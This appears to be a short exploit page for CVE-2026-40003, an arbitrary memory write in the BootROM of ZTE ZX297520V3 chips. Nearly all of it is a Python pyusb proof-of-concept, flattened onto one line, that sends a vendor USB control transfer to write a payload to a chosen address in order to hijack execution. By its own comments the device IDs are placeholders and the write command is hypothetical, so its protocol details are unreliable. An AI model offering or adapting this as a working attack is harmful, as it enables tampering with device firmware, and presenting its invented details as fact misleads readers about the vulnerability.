CVE-2026-40003 ZTE BootROM 任意内存写入漏洞

import usb.core import usb.util # PoC for CVE-2026-40003: ZTE ZX297520V3 BootROM Arbitrary Memory Write # This script demonstrates the concept of writing to an arbitrary address via USB. # Target: ZTE ZX297520V3 in USB Download Mode VID = 0xXXXX # Replace with actual Vendor ID PID = 0xXXXX # Replace with actual Product ID def exploit(): # Find the device dev = usb.core.find(idVendor=VID, idProduct=PID) if dev is None: raise ValueError('Device not found') # Claim the interface dev.set_configuration() # Target Memory Address (Example: Stack Address or Function Pointer) # The vulnerability allows writing to any address. target_address = 0x40008000 # Payload to write (e.g., shellcode or ROP gadget address) payload = b'\x00\x00\x00\x00' print(f"[*] Sending payload to address: {hex(target_address)}") # Construct the specific control transfer or bulk transfer # based on the ZTE USB protocol. # This is a generic representation of the vulnerability trigger. try: # Send data to the specific address without validation dev.ctrl_transfer( bmRequestType=0x40, # Vendor specific, Host to Device bRequest=0xA0, # Write command (hypothetical) wValue=(target_address & 0xFFFF), wIndex=(target_address >> 16), data_or_wLength=payload, timeout=1000 ) print("[+] Payload sent successfully. Execution flow may be hijacked.") except usb.core.USBError as e: print(f"[-] Error during transfer: {e}") if __name__ == "__main__": exploit()